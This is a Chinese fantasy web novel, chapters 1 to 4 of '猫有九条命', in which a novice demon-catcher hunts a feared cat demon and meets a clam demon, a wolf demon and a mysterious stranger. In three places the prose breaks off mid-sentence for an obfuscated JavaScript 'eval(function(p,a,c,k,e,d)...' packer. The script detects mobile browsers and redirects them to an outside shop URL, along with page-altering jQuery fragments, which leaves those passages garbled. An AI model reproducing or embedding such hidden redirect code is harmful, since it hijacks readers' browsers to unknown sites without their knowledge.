《猫有九条命》 1. 第 1 章 “听闻前些日子派去那批天门宗弟子,一个都没回来。” “当真?” “自然当真!其中有一小弟子的母亲听闻此事,悲恸落泪,在参商山下三跪九叩,血流不止,却还是没能得到那猫妖怜悯。” “唉,猫妖恶毒,恐怕凶多吉少了……” 客栈之中,客人们交头接耳、众说纷纭,忽地,响起一清脆女声:“那猫妖当真那么厉害?” 瞧去,是一身着鹅黄衣衫的女子,明眸皓齿,顾盼生姿,一头黑发用带子高高的挽起,垂落成马尾。怀抱一把长剑,颇有几分仙气与侠气。客人们都道:“那是自然!” 女子道:“很好,那我就更要去会会他了!” 大家瞧她年纪不大,口气却很狂妄,纷纷劝说:“使不得,使不得啊。” “有什么使不得的?”女子道。 一客人叹息道:“小姑娘,你是不知道那猫妖的歹毒之处。我曾与道友为伴,一起去讨伐那猫妖,我们一路行至他所盘踞的参商山,甫到山脚,便闻到一股浓浓的血腥味,沿着山路向上,越走天空越阴暗,到最后,滴滴答答的下起雨来,可一伸手,却发现全身都是恐怖的鲜红——原来那不是雨水,而是与你同行之人的鲜血!” 他说着,想起故人故事,不免悲从心来,神情落寞。 那女子安慰道:“不怕,我去帮你报仇!” “你、你这!”客人反倒气笑了,他苦口婆心明明是为了打消她的念头。天下第一大派天门宗都拿那猫妖无可奈何,她这小小一副身板,不是去送死么? 却听那女子道:“我是捉妖师。” “降妖除魔,是我的责任!” - 告别客栈众人,在他们的扼腕叹息声中,段匆坚定的继续向前走了。 本来呢,作为一个修行尚浅、法力低微、小的不能再小的小捉妖师,段匆是不可能被选中去对付那只猫妖的。 但前些日子,师门中法力高强的师兄师姐们前去讨伐那猫妖,却迟迟不还。 这倒也罢了,捉妖师一生与各种阴险狡诈、穷凶极恶的妖怪打交道,死伤在所难免。死在剿杀这样一只为祸百姓的大妖的路上,也算死得其所。 但这次不同的是,师父的亲生儿子周浮生此次也在其中。 师父终日以泪洗面:“吾儿,吾儿好惨哪!” 段匆就是在这个时候出现在师父面前,一脸郑重的提出要去拯救师兄的决定。师父看也不看她,挥手道:“去吧,去吧!” 段匆喜从心来,师父平日里从不许她出宗门,这次也不知是他忧思过度、根本没思考到她说了什么,还是姑且死马当做活马医,去一个人总比不去好。总之,她可以下山了! 哼着小曲,段匆走出了山门。 天门宗毕竟是修行之地,修行之人,总会有几分矜持与傲气。 每当提起那猫妖,师叔师伯们都轻蔑道:“区区小妖,何足挂齿!” 因此段匆一直以为那妖怪也没那么可怕。 但到了人间,这一路走来,对于那猫妖,人人闻之色变,再兼之师兄师姐的确许久未归,想来凶多吉少,于是段匆终于后知后觉的有了几分害怕,曾经几度,心中也打起了退堂鼓。 但在思索一番之后,她还是义无反顾的上路了。 捉妖师一生的使命便是降妖除魔,为民除害,虽然她尚且只是个不成器的小捉妖师,但她心中也是有一番宏图大志的。保护百姓,这是她毕生的事业与理想。 况且……要是到时候真打不过…… 还可以溜嘛! 正想着,前方忽然一阵嘈杂。 段匆抬头,看到一大群人将路围了个水泄不通。 “让一让,让一让……这是怎么了啊!”段匆终于吃力的挤到前面,这一看霎时吃惊——只见为首一穿白衣的男子,手中拿一把长剑,运功,长剑凌厉飞出,将一个柔弱女子钉在了十字木架上! 那女子身体颤抖,面色憔悴苍白,眼角泪水不断流下。 一群人欺负一个弱女子,算什么好汉?段匆侠义之心顿起,愤愤道:“放了她!” 众人诧异的转头瞧向她,尤其那白衣男子,皱起眉头,神色压迫感十足。 段匆有点紧张。 一个人打这么多,好像是有点打不过啊…… 不过,还好她有保命法则——打不过就跑嘛!段匆暗暗观察好逃亡路线,打算以迅雷不及掩耳之势救下那女子,然后扛着她就御剑飞走……呃,忘了自己还不会御剑飞行呢,段匆默默垂泪。 那白衣男子一挥手,白色光晕闪过,那把剑钉得更深,木架上的女子惨叫出声。 段匆急了,不管了,不会飞就不会飞,总之先得尽力一试才行! 正暗暗运起法力,打算拔掉那把剑,那白衣男子却走到了她面前。 “你、你干什么?”段匆强作镇定。 白衣男子道:“她是妖。” 段匆怔住了。 妖?妖! 她忙凝起神,仔细辨别。 空气中的确有极淡极淡的一缕妖气,只是不知为何,这妖物的妖气被人气所掩盖和冲淡了。所以她一时疏忽,未能察觉。 段匆拍拍胸口,暗自庆幸,她竟然差点救下一只妖怪。 “既是这样,那我就走了。”段匆一拱手,对方也客气的点点头,于是两厢作别。 只是没走出几步,那妖怪哭声又传入耳中,凄惨的,悲切的,绝望的:“不,不!” 段匆咬牙,快走快走快走。 “求求你们,不要,不——” 段匆眼观鼻鼻观心,大大的迈开步子,身后那妖怪在撕心裂肺的哀求,但白衣男子不为所动,将那柄钉在她腹部的剑又插入几寸。 段匆跑了起来。 “求求你,我以后再也不会出现在人间,求求你,放过他吧,让我做什么都可以……” 段匆猛地停了下来,心道:造孽啊! “那个,不好意思啊,”段匆讷讷笑道:“能不能问一问,这只妖犯了什么错?” 白衣男人没想到她会再回来,瞥她一眼,冷若冰霜道:“这需要问吗?” 段匆怔了一下。 的确,这有什么好问的? ——她是妖。 师父说过,妖与人不同,人的心温热,明是非,知善恶,但妖的心是冷的,他们的血也是冷的,他们天生就歹毒,天生就是为了做恶事。 可是…… 段匆犹豫再三,终于还是说出心中疑虑:“可是我看她痛苦万分的样子,与人无异。” 那妖怪彷如抓住一丝希望,哀声道:“姑娘!姑娘求求你,求求你救救我的孩子!” 孩子? 段匆看向她腹部。 果然,细看之下,是有些微微隆起的。所以这白衣男人特意选择将剑钉入这个部位,是为了杀死她腹中的孩子。也难怪,这妖身上笼罩着浓浓的人气。 “姑娘,我劝你不要干涉此事,”白衣男人道:“这妖怪诱惑我的胞弟……” “不!不是!”冷汗连连、虚弱到面色发白的妖怪忽然愤怒起来,咬着牙强撑道:“我们是真心相爱的!我从来不曾骗过冬郎!” “人妖殊途,你还敢狡辩?”白衣男人冷冷道。 他徒然发力,那把剑灵光大闪,胎儿霎时破碎!妖怪愣愣的瞧了瞧自己鲜血横流的肚子,颤抖着摸了一摸,神色凄惶,流着泪绝望的笑起来,口中却还不停的说着:“我与冬郎,是真心相爱的……” “妖物,休得祸乱人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060152|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心!”白衣男人喝道。 公说公有理,婆说婆有理,段匆也不知如何是好了,她将手伸进衣袖里,掏啊掏,掏啊掏,终于—— 一只小巧的、金光闪闪的镜子飞升到空中,徒然变大。 - “人世间,原来这么热闹呀,可比海里有趣多了!”蜃妖化作少女的模样,神色天真,在集市上蹦蹦跳跳,左看右看。 糖葫芦鲜艳欲滴,蜃妖见旁边的小孩拿下一只来,放到嘴里嘎嘣嘎嘣的咬。 她好奇道:“这是怎样味道?” 小孩满足道:“当然是甜的啦,可甜可甜!” 甜?蜃妖还不知甜是何味,于是便也兴致勃勃的拿下一只来。 一只手忽然抓住她。 蜃妖惊道:“干什么呀!” 这身材粗壮、容貌不善的汉子道:“小贼,还敢理直气壮的。” “什么贼?” “你偷了东西,还说自己不是贼!”汉子都要被气笑了,他还未见过这样大胆的贼,拿了他的糖葫芦,不遮也不掩,明晃晃的边吃边走。 “我没想偷,”蜃妖歉疚道,“我、我还给你可以吗?” 还?她咬过的牙印还明晃晃在上面呢!怎么还? 汉子一把拖住她就往黑巷子里走。 蜃妖一开始还不知他要做何事,后来见他粗鲁异常,穷凶极恶,渐渐明白过来他心怀不善,开始反抗。不用法术,她这副身躯是绝对打不过他的,可若用了法术……蜃妖掌心中的光晕渐渐暗下来。 若用了法术,这人会死的。 她心慌意乱,低下头,不知如何是好。 忽然,这汉子停了下来,僵在原地。 黑漆漆的巷子中,隐约透过来红彤彤的灯笼光,蜃妖怔怔抬头,看到那人站在莹莹光华中,一袭白衣,清朗温柔,低下头,掏出一枚细细的银锭子来。 - 尘缘镜中,段匆看着他二人相识相知,他带她游历人间大山大川,看尽风花雪月,一路上路见不平,拔刀相助,恣意坦荡,潇洒快活。 但蜃妖却渐渐的慌乱起来。 他是修行之人。 而她是妖。 她无意欺瞒,终于在无数个不能入眠的深夜之后,打算同他坦白一切。 看着他那把散发着淡淡月华的长剑,她笑着流泪,心道,死在他的剑下,倒也算无憾了。 画面徒然一转—— 那只魅妖为祸人间,一个偌大的村子,竟无一活口。 见了他二人,那魅妖不但不羞愧,反而洋洋得意,哈哈大笑:“没用的凡人,死了又怎么样?”接着眼波流转,暧昧的瞧着蜃妖道:“同为妖族,你是用了什么法子迷住这小道士,教教姐姐,好不好?” 蜃妖心口一紧,忙伸手去抓他衣袖:“我没想骗你,我想告诉你的……” 他却已飞身而出,追着魅妖而去,只留下一片白色的衣角。 蜃妖找了很久,很久,才终于在一条溪流边找到他。 只是那袭白衣却已被鲜血染透,溪水都带了淡淡的几分红。 蜃妖手忙脚乱:“你、你怎么了?” 他紧闭双眼,毫无知觉,那魅妖伤他实在太重。 蜃妖愣了一下,将手放在自己的心口。 周围顿时一片惊叹之声,段匆也被这副场景吓到——这妖竟然活生生剖出自己的妖丹,放进了他的心口! 灵力消散,蜃妖化出丑陋原型,撕心裂肺的惨叫。 而他也在此时醒转过来,蜃妖转身就逃,却被他在背后叫:“站住!” 她捂着脸颊,不敢看他,颤抖道:“我……我是妖。” 她等了很久,才终于听到他有些叹息的声音。 “我早就知道了。”他道。 2. 第 2 章 段匆闷闷不乐。 这一人一妖从未做过坏事,却被百般阻挠、设计陷害,最终,他身死陨落,留下蜃妖一人,为世人所不容。 那白衣男子一掌拂落尘缘镜,冷笑道:“家族丑闻,百年蒙羞,还有什么好看?” 段匆鼓起勇气道:“他是你亲弟弟,你设计杀害他,难道就很光彩吗?” “他与妖物苟合!”白衣男子徒然眼眶发红,握着剑的手剧烈颤抖。 这把剑,就是他亲手杀死他弟弟的那把剑。 也不知这么多年,他是否有过后悔? 段匆不知道。 但她很确定的是,如果今日她袖手旁观、什么也不做的话,她会后悔。 手中长剑出鞘,砍断那十字木架。 将虚弱的蜃妖背在背上,段匆足尖一点,飞跃出人群就逃。 “铛!” 那白衣男人紧追不舍,向她二人挥剑而来,段匆忙举剑格挡。 却忽然,她手中长剑生出一道裂痕,然后,咔嚓。 断了。 段匆欲哭无泪,师父啊,您就不能给我一个好一点的兵器吗?怎么在关键时候掉链子啊! 蜃妖咳道:“姑娘,你走吧,不必管我了。” 她眼神黯淡。 既然已经失去了他们的孩子,那也就,没有什么努力活下来的必要了。 段匆却不答应:“我就算不是为了你,也是为了道义!走!” 白衣男子冷笑:“妖物也有道义可言?实在是滑天下之大稽!” “寂风——出!” 顿时从袖口飞出一把红色油纸伞,袅袅升起,段匆抓住它用力向后挥动,掀起一股飓风,朝着白衣男人卷去。白衣男人道:“雕虫小技!” 他不愧修行多年,一把长剑稳稳的穿越飓风,直刺段匆而来。 看来是躲不过了。 段匆做好被刺一剑的准备。 但就在凛冽剑气即将划过她身体的刹那,段匆闻到一股淡淡的杏花香,天门宗上没有杏花,她极少闻过这味道,但此刻却又觉得这味道这样熟悉。她一时有些恍惚,如中了某种幻术。 待回神时,白衣男人已经远远落在身后,她们竟已经逃了出来。 “蜃妖,方才是你在施法吗?”段匆奇道。 蜃妖也怔道:“姑娘,不是我,我已没有妖丹了。” 她的声音随即落寞下来:“我、我差点连累你中了剑。” “无事,”段匆笑眯眯解释道:“那是我师父教我的法术,名为血引,此处可用作追踪,也可用于攻击。只要他刚才刺中了我,鲜血流出,每一滴血就会变成一簇箭矢,对他进行攻击、让他吃够苦头,我们也就可以顺利逃出来了。” 只是也奇,她明明未用血引,却也逃了出来。 段匆向四周望望,也没什么奇怪的值得怀疑的人。 难道真的,是她的功夫大有长进了? - 分别时,段匆有些许尴尬。 按理说,她堂堂一个捉妖师,怎能让一只妖怪就这样从她手底下离开? 但她也不可能再对这只妖做些什么了。 “我今日放过你,你、你以后也不要做坏事。” “是,姑娘,我不会的,我会一直陪着他,直到百年之后化作白骨尘土。” 她失去妖丹,就失去了妖的法力与生命,岌岌可危,能不能活够凡人的百年,都还说不定呢。段匆不忍道:“好,你自求多福吧。” “姑娘,如果有需要用到我的地方,我会报答你的。”蜃妖跪在地上,给她实实在在的磕了三个头。段匆霎时左右张望,做贼心虚。 报答什么呀? 她堂堂捉妖师可不想和一个妖怪有牵连,被别人看到,这还得了! 好不容易送走蜃妖,段匆长吁一口气,拍拍衣服,拂落蜃妖那一缕微弱的妖气,继续向参商山而去。 天很快黑下来,月色黯淡。 段匆抬头,只见一座黑黢黢的高山横亘在面前。 参商山! 她终于到了。 本想在山脚下夜宿一晚,待天明再动身上山,但转而想到青天白日反而引人注目,倒不如趁着夜色偷偷溜上去。主意打定,段匆一鼓作气,沿着崎岖山路而上。 一不留神,她踩到一把干涸枯枝。 一群嘎嘎怪叫的乌鸦从树上惊起。 此情此景有种说不出的诡异与可怕,段匆咽口口水。 忽然,前方好像有一个什么东西闪过。 段匆揉揉眼睛,只见黯淡月色下,一道颀长的、吊死鬼一样的淡淡白色身影立在前方。 阴风吹来,鬼气森森,段匆努力捂着嘴才没让自己尖叫出来。 她拔剑,可剑鞘却空荡荡,这才想起自己的剑早已在之前被斩断了。冷汗顿时冒出来,她从袖袋中掏出红伞,眼睛一眨也不眨的盯着这白色影子。 突地,这白影子动了! “寂风,出!”段匆用力将伞朝这白影子甩去。 一时间,漫天尘土纷纷扬扬,伴着夜色,让人无法看清楚周围的一切。待寂风终于平息下来,段匆定睛再看,顿时呼吸一滞——刚才还在那里的白影子消失了! 这猫妖实在太恐怖了! 还是先逃为上吧! 可正待急急转头,却突然肩膀上搭上来一只手,轻轻的将她拍了一拍。 寂静三秒。 “啊啊啊啊啊啊啊啊啊啊啊啊救命啊!”段匆叫的声嘶力竭,不敢回头,听说猫妖残暴,和饿狼无异,只要回头,它就会一口咬断人的脖子,让人鲜血横流,倒地而死。 “救命啊救命啊!”段匆欲哭无泪的一边喊,一边暗暗划破手指,淡淡的血腥味顿时弥漫,她眸色一沉——“血引!” 手指上的血液被法力引出,在空中漂浮,凝固成点点滴滴,而后忽地尖锐凛冽起来,尽数朝身后飞去。 “干嘛啊!痛死我了!”身后猫妖大叫。 “就是要你死才好呢!”段匆趁机挣脱他,喘着气道。 却忽然:“嗯?” 这声音,有点耳熟。 她睁大双眼,仔细的向地上那个满地打滚的白影子看去,顿时惊了:那张脸,眉梢挑起,一双丹凤眼狭长傲气,薄薄的嘴唇用力咬起来,嘀嘀咕咕骂个不停。 这是……周浮生。 师父的宝贝儿子,他们的大师兄,周浮生! 尽管这位大师兄为人刻薄跋扈,凭借着他爹的名头,对他们这群小师弟小师妹进行残酷的欺压,师门中人人都看他不爽,但此时此地,发现这白影子原来是周浮生时,段匆早已无半点厌恶,反而生出一种见到亲人般的喜悦和激动之情。 “大师兄,怎么是你啊?快快快!”她将他扶起来。 周浮生脸色苍白,咳嗽不止,指着身上大大小小数十个血洞,气急败坏道:“你等着!” 哎呀等着就等着,不就是叫你爹收拾我嘛?那都是小事了,此时只要能保命,做什么都成呀! 段匆道:“你不是被抓走了吗?怎么又出现在这里,其他同门呢?” 周浮生被她搀扶着,虚弱的指点方向:“走这边,带你去见他们。” “啊?他们怎么了?还被猫妖困着?” “自然了。” “那大师兄你怎么逃出来的?” 周浮生冷哼道:“我是谁?怎可与他们一概而论?” 呃,好吧。 虽然大师兄为人不怎么样,不过论法力功夫,他的确还是可以的。 走了半段路,段匆又疑惑道:“对了,那猫妖呢?我们就这样过去,不会遇到那猫妖吗?” “放心,猫妖现在不在这里。”周浮生笃定道。 段匆这才放心,跟随他走入层层叠叠的枯树深处,越走,气氛就越发静谧和阴森,妖气也愈发浓重,段匆有些担忧,但周浮生满不在乎:“猫妖在的地方,妖气重也是正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060153|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 段匆点点头,又走了半晌,最后来到一处潭水前。 只见这潭水与寻常的水不同,散发着一股淡淡的腐烂味道,水也通体漆黑,深不见底,只有一个一个黑色的气泡,咕嘟嘟的冒出来。 “大师兄,这……” “这是猫妖当日为困住我们而设的阵法,这汪潭水就是阵眼所在。” 原来是这样。 任何阵法,要想入阵出阵,最好的办法便是找寻到阵眼,如此便会轻松许多。 否则贸然闯入,就会被牢牢困住。 “走吧。”周浮生道。 “等等。”段匆有些犹豫。 “胆小鬼!”周浮生徒然发怒,将师门规矩哗啦啦的一通大背,教训她如此贪生怕死、又如何能担负起苍生大任? “况且你师兄我费尽千辛万苦,连阵眼都找到了,你却连入阵救人的勇气也无?真乃师门之耻、师门之耻!” “好吧,”段匆咬咬牙,似是鼓起极大勇气道:“那我今日若救出了诸位同门,大师兄能将我的尘缘镜还给我吗?” “什么?”周浮生纳闷。 “尘缘镜!”段匆气势汹汹:“大师兄你上次捉妖时说借用一下,结果却一借不还!” “哦,这个啊,”周浮生翻个白眼,恍然道:“抠搜。” “我就这么几件法宝,又不比大师兄富可敌国,当然得珍惜了。” 周浮生摆摆手:“行吧行吧,待救出人,还你就是了。” “是。”段匆道,朝潭水走近,看到水面上映出自己黑色的轮廓。 她深吸一口气。 忽地,闪到周浮生身后,狠狠一掌朝他拍去! 却没料到他早有防备,在她出掌时便迅速闪身躲开。 然后如一抹影子,悠悠的漂浮到空中,那副傲气的神情逐渐改变,笑容变得森然诡异:“小师妹,这可就不对了。” 段匆吁气道:“果然。” 他不是大师兄。 方才在路上,她就越想越疑惑。 大师兄这人吧,虽然不怎么样,但若是有逃出的机会,他就算为了面子,也会死撑着让其他同门先走,不可能一个人大晚上孤零零在这深山老林中游荡;况且,他也不是不知道,她那点微弱的法力,入阵与其说是帮忙,还不如说是拖后腿,他又怎么会如此急促的非要让她也一同入阵? 更重要的是,段匆扬手,那面金光闪闪的小镜子漂浮到空中。 “尘缘镜一直都在我手上,你根本就没有拿走过。” “猫妖,说!你把他们怎样了?” “周浮生”咧开嘴,笑容可怖:“不是都带你来这里了吗?自己去看呀。” 看个屁呀!刚才差点就上了他的当,谁知道那里面是什么陷阱! 段匆怒道:“你不说,就别怪我不客气了。” “周浮生”的笑容凝固,声音渐渐冷下来:“是吗?” 他突然飞到她的面前,凶神恶煞:“我倒要看看,是谁对谁不客气?” 话音落罢,他的五指化作利爪,朝她抓来。段匆举起寂风抗住这利爪,却没料到,他的另一只手蜿蜒扭曲过来,牢牢的,捏住了她的脖子。 “咳!咳咳!”段匆快要喘不过气了,划破手掌,血引发动——簇簇鲜血如箭矢一般穿透他的身体。 可是,他却好像丝毫感受不到疼痛,捏着她的力度仍大的惊人,段匆渐渐觉得自己要失去意识,恍惚间,被他拎着,从空中抛下,那片黑色冒泡的潭水离她越来越近。 一股清风吹来,淡淡的杏花香缭绕在身边。 段匆睁开眼,四处摸摸,发现自己毫发未损。 再一凝神,顿时大惊,自己竟身处一个怀抱之中! 不知何时,周遭的阴森之气尽数退去,明月也皎洁起来。段匆抬起头,看到一袭青衫,一副如画的眉眼,在月光之下,堆积着慵懒笑意。 “那猫妖呢?”她下意识怔怔道。 3. 第 3 章 “他并不是猫妖。”只听这人说道。 段匆顿时吃了一惊:“不是猫妖,那他是谁?” “狼妖金吾术。”这人说。 段匆满心疑虑,参商山不是猫妖的地盘吗,怎么突然又冒出来一只狼妖?更何况,早在十多年前,狼妖一脉就被赫赫有名的捉妖师孟宥斩尽杀绝,怎么还会有一只存活于世? 这人许是看到她困惑的模样,信手一挥,道:“你且再看看。” 只见随着他法力所过之处,周遭的一切都产生了变化,原本的高山消失,变为一片黄土与白骨交错的乱葬岗。 原来这里根本就不是参商山,方才一切,都是那狼妖的幻术。 段匆大吃一惊,继而沉思,自己不过是名不见经传的一个小小捉妖师,有什么值得那狼妖花费心思、设下这样一个陷阱呢? 转念又想了想,师兄师姐们都是被困在参商山,那狼妖既如此熟悉大师兄的容貌品行,想必一定也去过参商山,或许还和那猫妖有一定的勾连。总之,现在唯一也是所有的线索都指向参商山。 看来此行,是非去不可了。 “哦,对了,还没问修士姓甚名谁,出自何门何派呢?今日可真是多谢您出手相助了,来日若有机会,还请一定赏个面子,来寒舍小聚啊。”段匆第一次下山,也不懂太多人情世故,现下把师父常挂在嘴边的那一套说辞搬了过来。 说罢,却忽然觉得有什么不对劲。 哪里不对劲呢? 段匆皱了皱眉,看着这修士近在咫尺的脸,他有一副绝佳皮囊,又仿佛天生就带着某种优雅气质,自在,悠闲,好似对万事万物都不甚在意,却又绝非那种随意任人摆弄的感觉。 到底是哪里不对劲呢? 段匆愣愣思考着,看到他纤长的睫毛颤动了两下。 她忽然笨手笨脚的扑腾起来,一落地,就匆忙道歉:“对不起我我我我不是故意的!” 只是方才都在想着那猫妖狼妖的事了,所以一时之间竟不知不觉忘记了,从方才至现在,她竟一直都在他怀里! 他倒是丝毫不介意,笑吟吟道:“无事。” 不知何时,他手中多了一把青色折扇,将扇子展开,轻轻扇动道:“在下李刻青,无门无派,自学成才。” 段匆有些恍惚。 每次他扇动折扇,似乎都送来一阵淡淡的杏花香。而每次闻到这香味,她都觉得有种说不出来的熟悉感,好像很久很久以前就已经见过,可遍寻记忆,却一片空白。 “我看姑娘本来是想前往参商山?”李刻青在问她。 “嗯,”段匆定下心神,点头:“我去斩杀那猫妖。” 李刻青道:“唔。” 师父曾嘱咐过,出门在外,见了旁人,只可交出三分真心,不可全盘托出。段匆见李刻青明明法力如此高强,必然是有厉害的修士指点,却不肯说实话,于是心中也警惕起来,不肯再和他多说什么,客套一番后,便道:“那我先走了,后会有期。” 告别了李刻青,段匆再次踏上参商山的路。 这次有了狼妖的经验,她谨慎许多,专拣人多热闹的地方走,遇到各种试图和她搭话攀谈的杂人,也通通避而远之,不予理会。 就这样走了三日,她揪住一行色匆匆的路人:“大叔,请问前方可是参商山?” “正是。”大叔是经商世家,有一条商道不偏不倚就在参商山旁边,为了生计,不得不来回走动,每次平安经过后都像是捡了一条命回来,此时他见这小姑娘一副初生牛犊不怕虎的模样,好意提醒道:“那上面可有猫妖哇!” 好,这次终于是真的了。 说不怕,自然是不可能的,但为了同门,为了百姓,段匆还是鼓起勇气,在大叔的瞠目结舌之中,毅然走向了前方。 只是越走,她心中的困惑就越重。 终于,来到参商山脚,得见这传闻中的凶山。 待看清全貌,她心头一跳。 方才就闻到一股熟悉的杏花香,而今到了面前,只见这山上,竟真的开满了成片的杏花,放眼望去,一片雪白与烂漫,美的如梦似幻。 可这时节,人间明明还是寒冬,未到杏花绽放时。 那么这花…… 便是那猫妖特意用法术维持的了。 听闻猫是有领地意识的动物,它们会特意用某种气味来标记自己的地盘。那么这杏花,就是猫妖的象征,猫妖的昭告。 她想起先前遭遇,一阵后怕。 “段姑娘,你来了。” 段匆僵硬的转过头,说曹操曹操就到,明明在三天前天涯海角后会无期的人,此时就这么巧的出现在了面前。她努力牵动嘴角,扯出一个微笑:“李兄,真巧啊。” “其实也不算巧。”依旧是那一袭青衫,自在的笑容,只是此时在段匆眼中,这笑怎么瞧怎么带着阴险和玩味。 “其实我也是来参商山斩杀猫妖的,只不过那日段姑娘离开的太匆忙,我没来得及说而已。” “是吗?呵呵,真好。” “我也觉得很好,”李刻青摇动折扇,悠然道:“往后,我们便可以结伴而行了。” 段匆:“……” 在段匆“天黑了走夜路不安全”、“猫妖喜爱昼伏夜出”等言论的极力劝说下,当夜他们没有上山,而是在山脚留宿。 深夜,段匆偷偷睁开眼,看到李刻青躺在那棵低矮杏树的枝桠上,闭着眼,很安稳的睡着了。 她指尖一转,捻出一只灵蝶来,千里传音。 “师父师父师父,快醒一醒,有要事相商!” 好久,她师父那满是怒气的声音才传回来:大晚上的,你想吵死为师啊! “我可能遇到猫妖了。” 嗯???师父顿时正经不少,压低嗓门:当真? “就是因为不确定才来问您,听闻厉害的大妖可以掩盖身上的妖气,我闻不到。所以想问问您,除了妖气以外,还有什么法子能辨别猫妖?” 那边哗啦啦一阵翻书声,想来是她这不正经的师父在临时补课了。 摊上这么个师父,真乃师门不幸啊。 终于,师父找到了:找个月黑风高夜,用亮光照射他瞳孔,若是猫妖,你便能看到他的双瞳竖成一条细线。 “原来如此,好,我知道了。” 唉,等等!师父在那边想必又泪眼汪汪了:你可一定把你大师兄安然无恙的带回来,否则,为师这日子可怎么过啊…… “知道啦知道啦!”段匆掐灭灵蝶。 已是后半夜了。 段匆抬头看天,好,月黑风高。 然后又看李刻青,好,还在熟睡。 她屏住呼吸走到他面前,掌心幻化出一团明火。 恰巧一阵夜风吹来,火焰闪动几下,在他脸上投下虚虚实实的影子,映出那浓密的、纤长的睫毛。他的青色衣衫层层叠叠,随风飘动,那股淡淡的杏花香再度传入鼻尖。 段匆用力掐了自己一把,不被这花香迷惑,保持清醒。 然后她伸出手,慢慢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那你就睡在我身旁吧。”李刻青收回折扇,愉快的决定了。 段匆霎时如五雷轰顶。 睡在他身旁??? 这颗杏树生的倒恰好,低矮,粗大,还分叉,正好是个睡觉的地方,正好睡得下两个人。 因离的太近,段匆睡不着,连翻来覆去都不敢,只得僵硬的继续躺着。 眸光一转,看到他倒是睡的香甜。 好不容易捱了两个时辰,段匆看他没有要醒的样子,于是悄咪咪滚下树,弓着身子走到几十米开外,捏出一只灵蝶。 “师父?你还在吗?” 又是老半天,师父那迷迷糊糊咕哝着的声音才传过来,段匆无奈:“您怎么这么快就睡着了呀?您怎么睡的着的呀?” “吃喝拉撒,天理伦常,这大半夜的我不睡觉做什么?”师父痛斥道:“你怎么不去睡?烦我做什么?” “周遭亮如白昼、那疑似猫妖的人又在咫尺之间,我睡得着吗?” 师父恍然大悟的嗷了一声。 段匆怀疑,刚才师父根本没想起来她是谁、在做什么事,被她一提醒,才终于把她这不成器的徒弟从哪个犄角旮旯里扒拉了出来,想起她还身处险境。 “徒儿哇,”师父颇有些猥琐的笑道:“不怕,一计不成还有一计。” 4. 第 4 章 再次回到杏树边时,段匆十分的惶恐。 她甚至怀疑师父是想让自己直接送死,不过……算了。 姑且一试吧。 她单手扬起,按照师父方才的传授,在虚空画出一个奇形怪状的符咒,然后将这符咒收拢在指尖,往李刻青身上轻轻一点。 符咒金光一闪,化入他的身体。 段匆先是试探着,咳嗽了几声:“咳咳咳!” 没反应。 又惊天动地的咳了一阵子,其间不乏发出各种叽里哇啦的怪叫。 还是没反应。 “李兄?李兄弟?醒醒,我害怕。”又抓住他袖子使劲晃悠,甚至胆大包天的拍了拍他的脸。 只见从始至终,李刻青双眼都安稳的阖着,睡的死沉死沉,无论她做什么都毫无察觉。 段匆这才长吁了一口气。 师父这安眠咒,竟然真的有点用。 既然他已经睡死,她也就没什么顾忌了。段匆伸手捏住他的脸颊,使他张开嘴巴,然后凑近,眯着眼……开始细细的数起他有多少颗牙齿。 “……二十六,二十七,二十八。” 再数一遍。 “……二十六,二十七,二十八。” 段匆有些失望,但也有些庆幸。 师父说,他们人族都有二十八颗牙齿,不多不少,但妖族就不一样了。比如那看似慢慢吞吞、温和无害的蜗牛妖,却足足有一万多颗牙齿,每当它吃人时,先不咬,光是张开嘴,那血盆大口和里面密密麻麻的锯齿状尖牙就足以吓死人了。 再比如那尖嘴猴腮的鸟妖,看着嘴尖尖的很可怕,但其实一颗牙齿也无,吃人时,只能囫囵吞枣,而无法咀嚼。 再比如心狠手辣的狼妖,有四十多颗牙齿,其中最为可怕的是那四颗犬齿,又尖又长,轻而易举便可以刺入人柔软的血肉,吮吸血液,撕碎骨头。 而这猫妖,共有不偏不倚,三十颗牙齿。 恰比人族多出两颗。 不过,这李刻青却又的的确确没有多出两颗牙来。 段匆将他的口合上。 然后,将手伸到他的肚子上。 先是捏了捏,手感还挺柔软,暖烘烘的。 然后又向下按了按。 最后又呼噜着上下摸了摸。 都无反应。 段匆略一沉吟。 师父说,这项可谓终极之招了—— 人有其薄弱点,比如脑袋上的太阳穴,当有危险靠近这个地方时,人会下意识的进行躲避。而这一点,妖与人是一样的。 猫妖,它们的薄弱点便是肚皮。 这是极其敏感的地方,是它们与生俱来规避危险的本能。它的瞳孔、牙齿或许可以靠伪装来骗过人,但是肚皮,不管它清醒与否,在做何事,被摸到肚皮时,身体都会下意识的拱起来。 但李刻青仍睡的一脸安然,姿态毫无改变。 难道……他真的不是猫妖? - 第二日天光大亮,二人上山。 李刻青伸个懒腰,神清气爽。 段匆打个哈欠,双眼乌青。 